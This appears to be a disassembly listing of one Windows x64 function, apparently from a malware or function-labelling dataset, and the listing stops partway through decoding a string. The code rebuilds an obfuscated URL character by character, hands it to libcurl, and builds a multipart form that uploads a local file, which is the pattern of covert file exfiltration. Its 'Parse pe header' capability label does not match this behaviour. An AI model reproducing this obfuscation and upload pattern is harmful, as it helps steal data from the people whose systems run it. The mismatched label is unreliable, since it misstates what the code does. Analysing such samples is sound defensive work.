Function at 0x140012b50
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012b50
push rbp
push rsi
push rdi
sub rsp, 0x2e0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x80
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x2b8], rax
lea rcx, [0x140034108]
call fcn.140001861
nop
mov ecx, 3
call qword [sym.imp.libcurl_d.dll_curl_global_init]
nop
call qword [sym.imp.libcurl_d.dll_curl_easy_init]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140014355
lea rax, [rbp + 0x50]
lea rcx, str.4JjIdZf5U_sgLl0oknRcryuxtSpz_V6TMKCNYB8A1PGDi.7FEeQHamOw:_bWq329hXv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x46
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x42
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140012beb
xor eax, eax
jmp 0x14001435e
mov eax, 1
imul rax, rax, 4
mov ecx, 1
imul rcx, rcx, 8
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xa
mov ecx, 1
imul rcx, rcx, 0x3c
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xe
mov ecx, 1
imul rcx, rcx, 0x1a
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xa
mov ecx, 1
imul rcx, rcx, 0x3b
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1f
mov ecx, 1
imul rcx, rcx, 0x2c
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x19
mov ecx, 1
imul rcx, rcx, 2
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x41
mov ecx, 1
imul rcx, rcx, 0x35
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x40
mov ecx, 1
imul rcx, rcx, 0x26
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3f
mov ecx, 1
imul rcx, rcx, 0x2f
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x44
mov ecx, 1
imul rcx, rcx, 0x18
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x30
mov ecx, 1
imul rcx, rcx, 0x37
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xd
mov ecx, 1
imul rcx, rcx, 0x22
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 7
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x36
mov ecx, 1
imul rcx, rcx, 0x1e
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3a
mov ecx, 1
imul rcx, rcx, 5
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 0x38
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xf
mov ecx, 1
imul rcx, rcx, 0x11
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3f
mov ecx, 1
imul rcx, rcx, 0x36
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 0x17
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1b
mov ecx, 1
imul rcx, rcx, 0x15
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x14
mov ecx, 1
imul rcx, rcx, 0x1c
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3f
mov ecx, 1
imul rcx, rcx, 0x2b
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2a
mov ecx, 1
imul rcx, rcx, 0x30
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 4
mov ecx, 1
imul rcx, rcx, 0xe
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x14
mov ecx, 1
imul rcx, rcx, 0xb
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x11
mov ecx, 1
imul rcx, rcx, 0x20
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x39
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x14
mov ecx, 1
imul rcx, rcx, 0x10
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xe
mov ecx, 1
imul rcx, rcx, 0x32
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x33
mov ecx, 1
imul rcx, rcx, 0x3f
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xa
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x36
mov ecx, 1
imul rcx, rcx, 0x14
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2f
mov ecx, 1
imul rcx, rcx, 0xf
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2e
mov ecx, 1
imul rcx, rcx, 0x16
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 0x13
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x12
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x41
mov ecx, 1
imul rcx, rcx, 0x27
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xa
mov ecx, 1
imul rcx, rcx, 0x40
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x41
mov ecx, 1
imul rcx, rcx, 0x29
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 0x1b
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2e
mov ecx, 1
imul rcx, rcx, 9
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x40
mov ecx, 1
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x15
mov ecx, 1
imul rcx, rcx, 0xd
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x30
mov ecx, 1
imul rcx, rcx, 0x2e
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2a
mov ecx, 1
imul rcx, rcx, 0x19
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x33
mov ecx, 1
imul rcx, rcx, 0x21
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x28
mov ecx, 1
imul rcx, rcx, 0x31
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xa
mov ecx, 1
imul rcx, rcx, 0xa
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 7
mov ecx, 1
imul rcx, rcx, 0x33
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x33
mov ecx, 1
imul rcx, rcx, 0x3a
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2a
mov ecx, 1
imul rcx, rcx, 0x25
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x36
mov ecx, 1
imul rcx, rcx, 0x3d
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2a
mov ecx, 1
imul rcx, rcx, 0x2a
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xa
mov ecx, 1
imul rcx, rcx, 0x23
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x11
mov ecx, 1
imul rcx, rcx, 0x1f
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x19
mov ecx, 1
imul rcx, rcx, 1
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 0x24
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x42
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x41
mov rcx, qword [rbp + 0xb8]
mov byte [rcx + rax], 0
mov eax, 1
imul rax, rax, 7
mov ecx, 1
imul rcx, rcx, 0x34
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xb
mov ecx, 1
imul rcx, rcx, 0x3e
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1b
mov ecx, 1
imul rcx, rcx, 3
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2a
mov ecx, 1
imul rcx, rcx, 0x2d
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xf
mov ecx, 1
imul rcx, rcx, 0xc
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3b
mov ecx, 1
imul rcx, rcx, 6
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x42
mov ecx, 1
imul rcx, rcx, 0x1d
mov rdx, qword [rbp + 0xb8]
movzx eax, byte [rbp + rax + 0x50]
mov byte [rdx + rcx], al
mov r8, qword [rbp + 0xb8]
mov edx, 0x2712
mov rcx, qword [rbp + 8]
call qword [sym.imp.libcurl_d.dll_curl_easy_setopt]
nop
mov dword [rbp + 0xd4], 0
jmp 0x140013491
mov eax, dword [rbp + 0xd4]
inc eax
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0x42
jge 0x1400134ae
movsxd rax, dword [rbp + 0xd4]
mov rcx, qword [rbp + 0xb8]
mov byte [rcx + rax], 0
jmp 0x140013483
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.libcurl_d.dll_curl_mime_init]
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.libcurl_d.dll_curl_mime_addpart]
mov qword [rbp + 0x118], rax
lea rdx, str.content
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.libcurl_d.dll_curl_mime_name]
nop
mov r8, 0xffffffffffffffff
lea rdx, str._here
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.libcurl_d.dll_curl_mime_data]
nop
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.libcurl_d.dll_curl_mime_addpart]
mov qword [rbp + 0x118], rax
lea rdx, str.file
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.libcurl_d.dll_curl_mime_name]
nop
lea rcx, [0x14002cce8]
call fcn.1400010aa
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.libcurl_d.dll_curl_mime_filedata]
nop
mov qword [rbp + 0x138], 0
lea rax, [rbp + 0x160]
lea rcx, str.U_xroan4Y_2mtlHK0Rz.Q3PNyZIJqTk_EufspDibjc5WLSdgOe67C8MhXwv1ABV:FG9
mov rdi, rax
mov rsi, rcx
mov ecx, 0x46
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x5c
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x1400135a1
xor eax, eax
jmp 0x14001435e
mov eax, 1
imul rax, rax, 0x3d
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1e
mov ecx, 1
imul rcx, rcx, 0x14
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1d
mov ecx, 1
imul rcx, rcx, 0x36
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x19
mov ecx, 1
imul rcx, rcx, 0x49
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x15
mov ecx, 1
imul rcx, rcx, 0x21
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2b
mov ecx, 1
imul rcx, rcx, 0x16
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x41
mov ecx, 1
imul rcx, rcx, 0x3e
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x40
mov ecx, 1
imul rcx, rcx, 0xd
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x23
mov ecx, 1
imul rcx, rcx, 0x54
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2a
mov ecx, 1
imul rcx, rcx, 0x5a
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2b
mov ecx, 1
imul rcx, rcx, 0x1e
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x38
mov ecx, 1
imul rcx, rcx, 3
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x44
mov ecx, 1
imul rcx, rcx, 0x46
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x26
mov ecx, 1
imul rcx, rcx, 0x40
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1b
mov ecx, 1
imul rcx, rcx, 0x4a
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x3f
mov ecx, 1
imul rcx, rcx, 0x58
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x29
mov ecx, 1
imul rcx, rcx, 0x18
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x23
mov ecx, 1
imul rcx, rcx, 0x43
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x33
mov ecx, 1
imul rcx, rcx, 0x57
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x21
mov ecx, 1
imul rcx, rcx, 0x3c
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 1
mov ecx, 1
imul rcx, rcx, 0x12
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x32
mov ecx, 1
imul rcx, rcx, 0x47
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x23
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1f
mov ecx, 1
imul rcx, rcx, 0x19
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x27
mov ecx, 1
imul rcx, rcx, 0xa
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xb
mov ecx, 1
imul rcx, rcx, 0x2a
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x26
mov ecx, 1
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xd
mov ecx, 1
imul rcx, rcx, 9
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x30
mov ecx, 1
imul rcx, rcx, 0x2c
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 5
mov ecx, 1
imul rcx, rcx, 8
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 2
mov ecx, 1
imul rcx, rcx, 0x1a
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x36
mov ecx, 1
imul rcx, rcx, 0x4f
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2d
mov ecx, 1
imul rcx, rcx, 0x33
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x17
mov ecx, 1
imul rcx, rcx, 0x4b
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 6
mov ecx, 1
imul rcx, rcx, 0xc
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x38
mov ecx, 1
imul rcx, rcx, 0x3d
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x34
mov ecx, 1
imul rcx, rcx, 0x44
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x15
mov ecx, 1
imul rcx, rcx, 0x3b
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 3
mov ecx, 1
imul rcx, rcx, 5
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x33
mov ecx, 1
imul rcx, rcx, 0x55
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x31
mov ecx, 1
imul rcx, rcx, 0x53
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 7
mov ecx, 1
imul rcx, rcx, 0x32
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 3
mov ecx, 1
imul rcx, rcx, 0x2f
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x13
mov ecx, 1
imul rcx, rcx, 7
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x13
mov ecx, 1
imul rcx, rcx, 0x24
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x13
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x37
mov ecx, 1
imul rcx, rcx, 0x25
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x2e
mov ecx, 1
imul rcx, rcx, 0x52
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 1
mov ecx, 1
imul rcx, rcx, 0xe
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x27
mov ecx, 1
imul rcx, rcx, 6
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 5
mov ecx, 1
imul rcx, rcx, 0x38
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x5b
mov rcx, qword [rbp + 0x1c8]
mov byte [rcx + rax], 0
mov eax, 1
imul rax, rax, 0x23
mov ecx, 1
imul rcx, rcx, 0x56
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x18
mov ecx, 1
imul rcx, rcx, 0x2b
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x19
mov ecx, 1
imul rcx, rcx, 0x4e
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x14
mov ecx, 1
imul rcx, rcx, 0x2d
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x11
mov ecx, 1
imul rcx, rcx, 0x27
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0xc
mov ecx, 1
imul rcx, rcx, 0x4d
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x25
mov ecx, 1
imul rcx, rcx, 0x59
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 4
mov ecx, 1
imul rcx, rcx, 0xb
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x18
mov ecx, 1
imul rcx, rcx, 0x1b
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 4
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x22
mov ecx, 1
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 4
mov ecx, 1
imul rcx, rcx, 0x10
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x36
mov ecx, 1
imul rcx, rcx, 0x31
mov rdx, qword [rbp + 0x1c8]
movzx eax, byte [rbp + rax + 0x160]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 0x1f
mov ecx, 1
imul rcx, rcx, 0x50
